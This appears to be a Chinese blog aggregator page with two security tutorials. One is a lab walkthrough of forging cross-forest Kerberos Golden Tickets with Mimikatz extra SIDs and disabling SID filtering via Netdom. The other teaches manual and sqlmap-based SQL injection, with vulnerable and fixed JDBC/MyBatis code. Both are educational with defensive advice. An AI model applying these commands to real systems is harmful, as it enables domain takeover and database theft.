首页 文章 精选 留言 我的

精选列表

搜索[实战攻防],共10000篇文章
优秀的个人博客,低调大师

AD域攻防权威指南.八十.使用林间信任完成跨域攻击

在企业级 Active Directory 部署中,为了打通不同业务子公司或分支机构之间的资源访问,管理员通常会在多个域森林之间建立"林信任(Forest Trust)"或"外部信任(External Trust)"。相较于同一林内部的域信任,跨林信任在设计之初就引入了更为严格的安全边界——SID 过滤(SID Filtering)机制,以阻止攻击者利用 SID History 属性在两个森林之间横向提权。然而,SID 过滤并非"一刀切":它按不同分类对 PAC(Privilege Attribute Certificate,特权属性证书)中的 SID 逐一裁剪,其中 ForestSpecific、DomainSpecific 等规则的执行逻辑存在明显差异。一旦管理员出于业务需要主动禁用了 SID 过滤,或者攻击者掌握了信任域的 krbtgt 哈希,就可以精心构造伪造的 PAC,将信任森林中的权限"注入"当前会话,实现从被信任域到信任域的跨林权限跃迁。本篇文章将以两组真实实验域(dm.org 与 htf.org)为例,逐步演示如何配置与验证跨林 SID 过滤,如何借助 Mimikatz 的 Golden Ticket 携带 Extra SIDs 完成跨林 PAC 注入,并对比开启/关闭 SID 过滤两种场景下 PAC 的过滤结果,帮助读者理解跨林信任的攻击面与防御要点。 ## 1 概述与原理 因为存在 SID 过滤,外部信任和林信任无法利用 SID History 获取权限,但是我们至少可以通过 LDAP 查询信任域的活动目录信息,甚至可以实施跨信任边界的 Kerberoasting 攻击。使用 `adfind` 可以获取信任域的完整信息,导出信任域全部用户的信息,然后对比信任域和当前域的用户列表,查找同时加入了两个域的用户,尝试确认这些用户是否具有目标信任域的权限。 林域内 SID History 常常用于跨域攻击,但是在跨林信任的森林信任和外部信任,SID History 属性被 SID 过滤机制过滤,不再具备跨域的特权属性。Windows 请求的每个 TGT 都包含一个特权属性证书 PAC,PAC 包含用户及所属组的 SID 和其他内容。大家常常误认为 AD 域是信任边界,这个结论是错误的:**AD 林才是信任边界**,在跨越信任边界时会严格遵守过滤规则,新域林对 PAC 进行审查,并根据信任关系的类别执行安全过滤机制。过滤的机制是按照分类进行的,所以有些 SID 会一直被拒绝,比如 ForestSpecific 规则会过滤 RID 为 519 的企业管理员,因为域森林拒绝来自该域林之外的特权 SID History。 ## 2 实验环境 - 被信任域:`dm.org` - 信任域:`htf.org` - 关键测试点:SID 过滤机制 ## 3 常见 RID 在跨林 PAC 伪造中,最常被引用与被过滤的高权限 RID 如下: - `Administrator`:500 - `Krbtgt`:502 - `Domain Admins`:512 - `Enterprise Admins`:519 ## 4 配置 SID 过滤功能 ### 4.1 停用域信任的 SID 过滤器 在被信任域侧执行如下命令,可关闭该域信任的隔离(quarantine)标志,即停用外部信任的 SID 过滤器,执行效果如图 1-1 所示。 ```powershell Netdom trust dm.org /domain:htf.org /quarantine:No ``` :::center ​![停用域信任的SID过滤器](https://developer.qcloudimg.com/http-save/yehe-1277458/54b6a042fd4c0f8c3b6b3c742d2b076c.jpg) 图 1-1 停用域信任的 SID 过滤器 ::: ### 4.2 停用森林信任的 SID 过滤器 对于林信任,可通过 `enablesidhistory` 参数开启 SID History,即允许跨林携带 SID History 属性,等价于关闭跨林 SID 过滤,执行效果如图 1-2 所示。 ```powershell Netdom trust dm.org /domain:htf.org /enablesidhistory:yes ``` :::center ​![停用森林信任的SID过滤器](https://developer.qcloudimg.com/http-save/yehe-1277458/cfa74926b217001c532420b45fa8d2bf.jpg) 图 1-2 停用森林信任的 SID 过滤器 ::: ## 5 SID 过滤规则 常见的 SID 过滤规则如表 1-1 所示。不同类别的规则决定了 PAC 中哪些 SID 会在跨越信任边界时被丢弃。 :::center 表 1-1 SID 过滤规则 ::: |动作|规则| | ----------------------------| ------------------------------------------------------------------------------------------------------------------------------| |AlwaysFilter(总是过滤)|此规则适用于那些不允许跨越任何信任边界的 SID| |ForestSpecific(森林专用)|适用于林外或已标记为 QuarantinedWithinForest 的域的 PAC 中永远不允许使用的 SID,除非它属于该域| |EDC|仅适用于 Enterprise Domain Controllers(企业域控制器)的 SID| |DomainSpecific(特定域)|如果域控制器在 PAC 中遇到看似来自自己域的 SID,它会将其过滤掉;对于单台机器,如果传入的 PAC 包含来自本地域的 SID,也将被过滤| |NeverFilter(从不过滤)|切勿过滤此类别中的任何 SID| ## 6 开启森林信任 SID 过滤器时的跨林 PAC 在 SID 过滤开启的默认状态下,构造 Golden Ticket 并注入多个额外 SID(Extra SIDs),观察哪些 SID 会被目标森林剔除。所加入的 Extra SIDs 含义如下: - `S-1-5-21-1847810731-2295479577-3182564570-1604`:实际上不是当前域的组的 SID - `S-1-5-21-3286968501-24975625-1111111111-1605`:一个并不存在的域的 SID - `S-1-5-21-3286274885-3496714367-4288404670-1106`:存在于信任域的组 SID - `S-1-18-1`:表明已通过身份认证 使用 Mimikatz 生成携带 Extra SIDs 的 Golden Ticket 并 PTT: ```text kerberos::golden /domain:htf.org /sid:S-1-5-21-1847810731-2295479577-3182564570 /rc4:8bf3ca3921607e34cb1f9fc75554df1a /user:administrator /target:htf.org /service:krbtgt /sids:S-1-5-21-1847810731-2295479577-3182564570-1604,S-1-5-21-3286968501-24975625-1111111111-1605,S-1-18-1,S-1-5-21-3286274885-3496714367-4288404670-1106 /ptt ``` 尚未跨越林边界前,标准 TGT 中的 PAC 保留了全部 Extra SIDs: ```text Username: administrator Domain SID: S-1-5-21-1847810731-2295479577-3182564570 UserId: 500 PrimaryGroupId 513 Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7) LogonServer: LogonDomainName: htf Extra SIDS: -> S-1-5-21-1847810731-2295479577-3182564570-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-3286274885-3496714367-4288404670-1106 ``` 经过跨林 SID 过滤后的 PAC 中,`1605`​、`1106`​ 已经被过滤。加入的特定 SID 只允许来自林内的 PAC;发送的 PAC 来自其他林,所以会被过滤。**过滤策略会剔除任何不在当前林中的 SID,包括不存在的 SID 以及存在于其他林中的任何非 ForestSpecific SID。** ```text Username: administrator Domain SID: S-1-5-21-1847810731-2295479577-3182564570 UserId: 500 PrimaryGroupId 513 Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7) LogonServer: LogonDomainName: FOREST-A Extra SIDS: -> S-1-5-21-1847810731-2295479577-3182564570-1604 -> S-1-18-1 Extra domain groups found! Domain SID: S-1-5-21-3286274885-3496714367-4288404670 Relative groups: -> 1107 (attributes: 536870919) ``` ## 7 禁用森林信任 SID 过滤器时的跨林 PAC 如果开启 SID History,就意味着关闭了跨森林信任 SID 过滤,此时可以伪造任何 RID > 1000 的组,比如伪造 Exchange Security Groups 可以提升为 Domain Admin 权限。一些组织将新建的自定义组设置为服务器的本地管理员,通过伪造 SID,这些自定义组也可以成为这些服务器的本地管理员。 再次加入多个额外 SID 并注入内存,本次特别加入了 500~1000 之间以及高权限组的 SID,用于观察 ForestSpecific 规则的表现: - `S-1-5-21-3286274885-3496714367-4288404670-512`:域管理员,被 ForestSpecific 规则过滤 - `S-1-5-21-3286274885-3496714367-4288404670-519`:企业管理员,被 ForestSpecific 规则过滤 - `S-1-5-21-3286274885-3496714367-4288404670-548`:Account Operators,被 ForestSpecific 规则过滤,不允许 SID 介于 500 和 1000 之间 - `S-1-5-21-3286274885-3496714367-4288404670-1050`:信任域中属于 Domain Admins 组的组 RID 对应的 Golden Ticket 构造命令如下: ```text kerberos::golden /domain:htf.org /sid:S-1-5-21-1847810731-2295479577-3182564570 /rc4:8bf3ca3921607e34cb1f9fc75554df1a /user:administrator /target:dm.org /service:krbtgt /sids:S-1-5-21-1847810731-2295479577-3182564570-1604,S-1-5-21-3286968501-24975625-1111111111-1605,S-1-18-1,S-1-5-21-3286274885-3496714367-4288404670-1106,S-1-5-21-3286274885-3496714367-4288404670-512,S-1-5-21-3286274885-3496714367-4288404670-519,S-1-5-21-3286274885-3496714367-4288404670-548,S-1-5-21-3286274885-3496714367-4288404670-1050 ``` 经过 SID 过滤后的 PAC 中,`DA`​、`EA`​、`Account Operators`​ 组被过滤。**过滤仅限制 DA 组本身,DA 组中嵌套的组不受 SID 过滤**,因此 `1050` 组作为 Domain Admins 组的成员组,不会被过滤: ```text Username: administrator Domain SID: S-1-5-21-1847810731-2295479577-3182564570 UserId: 500 PrimaryGroupId 513 Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7) LogonServer: LogonDomainName: FOREST-A Extra SIDS: -> S-1-5-21-1847810731-2295479577-3182564570-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-3286274885-3496714367-4288404670-1106 -> S-1-5-21-3286274885-3496714367-4288404670-3101 Extra domain groups found! Domain SID: S-1-5-21-3286274885-3496714367-4288404670 Relative groups: -> 1107 (attributes: 536870919) ``` ## 8 小结 跨林信任的 SID 过滤并不是简单的"允许/拒绝"二元开关,而是依据 AlwaysFilter、ForestSpecific、EDC、DomainSpecific、NeverFilter 等一整套分类规则对 PAC 中的 SID 逐项裁剪。从本篇实验可以得出以下要点: 1. 在默认开启 SID 过滤的场景下,攻击者即便伪造出携带 Extra SIDs 的 Golden Ticket,其中不属于当前林的 SID(含不存在的 SID)也会被目标域控剔除,跨林权限提升会失败; 2. 一旦管理员为了打通业务而使用 `Netdom trust ... /quarantine:No`​ 或 `/enablesidhistory:yes` 关闭了 SID 过滤,攻击者可任意伪造 RID > 1000 的组(如 Exchange Security Groups、自定义本地管理员组)实现 Domain Admin 级别的跨林提权; 3. ForestSpecific 规则会显式过滤 500~1000 之间以及 DA/EA 等特权组,但**不会**过滤这些特权组下嵌套的普通组,这为攻击者留下了可利用的横向面; 4. 防御侧应严格审计跨林信任的 `SID Filtering`​ 与 `SID History` 配置状态,禁止在生产环境无理由地关闭 SID 过滤,并对 krbtgt 密钥的保护、Golden Ticket 的检测(异常长生命周期、异常 Extra SIDs)建立监控基线。

优秀的个人博客,低调大师

每日一博 | 渗透攻防 Web 篇 - 深入浅出 SQL 注入

1 背景 京东SRC(Security Response Center)收录大量外部白帽子提交的sql注入漏洞,漏洞发生的原因多为sql语句拼接和Mybatis使用不当导致。 2 手工检测 2.1 前置知识 mysql5.0以上版本中存在一个重要的系统数据库information_schema,通过此数据库可访问mysql中存在的数据库名、表名、字段名等元数据。information_schema中有三个表成为了sql注入构造的关键。 1)infromation_schema.columns: table_schema 数据库名 table_name 表名 column_name 列名 2)information_schema.tables table_schema 数据库名 table_name 表名 3)information_schema.schemata schema_name 数据库名 SQL注入常用SQL函数 length(str) :返回字符串str的长度 substr(str, pos, len) :将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始 mid(str,pos,len) :跟上面的一样,截取字符串 ascii(str) :返回字符串str的最左面字符的ASCII代码值 ord(str) :将字符或布尔类型转成ascll码 if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0 2.2 注入类型 2.2.1 参数类型分类 整型注入 例如?id=1,其中id为注入点,类型为int类型。 字符型注入 例如?id=”1”,其中id为注入点,类型为字符型,要考虑闭合后端sql语句中的引号。 2.2.2 注入方式分类 盲注 布尔盲注:只能从应用返回中推断语句执行后的布尔值。 时间盲注:应用没有明确的回显,只能使用特定的时间函数来判断,例如sleep,benchmark等。 报错注入:应用会显示全部或者部分的报错信息 堆叠注入:有的应用可以加入 ; 后一次执行多条语句 其他 2.3 手动检测步骤(字符型注入为例) // sqli vuln code Statement statement = con.createStatement(); String sql = "select * from users where username = '" + username + "'"; logger.info(sql); ResultSet rs = statement.executeQuery(sql); // fix code 如果要使用原始jdbc,请采用预编译执行 String sql = "select * from users where username = ?"; PreparedStatement st = con.prepareStatement(sql); 使用未预编译原始jdbc作为demo,注意此demo中sql语句参数采用单引号闭合。 2.3.1 确定注入点 对于字符类型注入,通常先尝试单引号,判断单引号是否被拼接到SQL语句中。推荐使用浏览器扩展harkbar作为手工测试工具。https://chrome.google.com/webstore/detail/hackbar/ginpbkfigcoaokgflihfhhmglmbchinc 正常页面应该显示如下: admin后加单引号导致无信息回显,原因是后端sql执行报错,说明引号被拼接至SQL语句中 select * from users where username = 'admin' #正常sql select * from users where username = 'admin'' #admin'被带入sql执行导致报错无法显示信息 2.3.2 判断字段数 mysql中使用order by进行排序,不仅可以是字段名也可以是字段序号。所以可以用来判断表中字段数,order by 超过字段个数的数字就会报错。 判断字段数 当order by 超过4时会报错,所以此表共四个字段。 后端所执行的sql语句 select * from users where username = 'admin' order by 1-- ' 此处我们将原本username的值admin替换为admin’ order by 1 —+,其中admin后的单引号用于闭合原本sql语句中的前引号,—+用于注释sql语句中的后引号。—后的+号主要作用是提供一个空格,sql语句单行注释后需有空格,+会被解码为空格。 2.3.3 确定回显位置 主要用于定位后端sql字段在前端显示的位置,采用联合查询的方式确定。注意联合查询前后字段需一致,这也就是我们为什么做第二步的原因。 通过下图可知,后端查询并回显的字段位置为2,3位。 联合查询后的字段可以随意,本次采用的是数字1到4直观方便。 2.3.4 利用information_schema库实现注入 group_concat()函数用于将查询结果拼接为字符串。 查看存在数据库 查看当前数据库中的表 查看指定表中字段 利用以上获取信息读取users表中username和password 3 自动化检测 3.1 sqlmap 使用 sqlmap兼容python2和python3,可以自动化检测各类注入和几乎所有数据库类型。 3.1.1 常用命令 -u 可能存在注入的url链接 -r读取http数据包 --data 指定post数据 --cookie 指定cookie --headers 指定http头 如采用token认证的情况下 --threads 指定线程数 --dbms 指定后端的数据库 --os 指定后端的操作系统类型 --current-user 当前用户 --users 所有用户 --is-dba 是否是dba --sql-shell 交互式的sqlshell -p指定可能存在注入点的参数 --dbs 穷举系统存在的数据库 -D指定数据库 --tables 穷举存在的表 -T指定表 --column 穷举字段 -C指定字段 --dump dump数据 直接检测 其中—cookie用于指定cookie,—batch 自动化执行,—dbms指定数据库类型 检测结果 读取系统中存在数据库 —dbs读取当前用户下的数据库 读取指定库下的表 -D java_sec_code —tables dump users表数据 -D java_sec_code -T users —dump 4 进阶 4.1 Mybatis注入 1)$错误使用导致注入 //采用#不会导致sql注入,mybatis会使用预编译执行 @Select("select * from users where username = #{username}") User findByUserName(@Param("username") String username); //采用$作为入参可导致sql注入 @Select("select * from users where username = '${username}'") List<User> findByUserNameVuln01(@Param("username") String username); 2)模糊查询拼接 //错误写法 <select id="findByUserNameVuln02" parameterType="String" resultMap="User"> select * from users where username like '%${_parameter}%' </select> //正确写法 <select id="findByUserNameVuln02" parameterType="String" resultMap="User"> select * from users where username like concat(‘%’,#{_parameter}, ‘%’) </select> 3)order by 注入 order by 后若使用#{}会导致报错,因为#{}默认添加引号会导致找不到字段从而报错。 //错误写法 <select id="findByUserNameVuln03" parameterType="String" resultMap="User"> select * from users <if test="order != null"> order by ${order} asc </if> </select> //正确写法 id指字段id 此表字段共四个 所以id为1-4 <select id="OrderByUsername" resultMap="User"> select * from users order by id asc limit 1 </select> 以上测试均在本地进行,请勿未授权进行渗透测试 5 文章及资料推荐 slqmap手册:https://octobug.gitbooks.io/sqlmap-wiki-zhcn/content/Users-manual/Introduction.html sql注入详解:http://sqlwiki.radare.cn/#/ 作者:罗宇(物流安全小分队)

资源下载

更多资源
Mario

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长,特征是大鼻子、头戴帽子、身穿背带裤,还留着胡子。与他的双胞胎兄弟路易基一起,长年担任任天堂的招牌角色。

Nacos

Nacos

Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service 的首字母简称,一个易于构建 AI Agent 应用的动态服务发现、配置管理和AI智能体管理平台。Nacos 致力于帮助您发现、配置和管理微服务及AI智能体应用。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据、流量管理。Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。

Spring

Spring

Spring框架(Spring Framework)是由Rod Johnson于2002年提出的开源Java企业级应用框架,旨在通过使用JavaBean替代传统EJB实现方式降低企业级编程开发的复杂性。该框架基于简单性、可测试性和松耦合性设计理念,提供核心容器、应用上下文、数据访问集成等模块,支持整合Hibernate、Struts等第三方框架,其适用范围不仅限于服务器端开发,绝大多数Java应用均可从中受益。

Sublime Text

Sublime Text

Sublime Text具有漂亮的用户界面和强大的功能,例如代码缩略图,Python的插件,代码段等。还可自定义键绑定,菜单和工具栏。Sublime Text 的主要功能包括:拼写检查,书签,完整的 Python API , Goto 功能,即时项目切换,多选择,多窗口等等。Sublime Text 是一个跨平台的编辑器,同时支持Windows、Linux、Mac OS X等操作系统。

用户登录
用户注册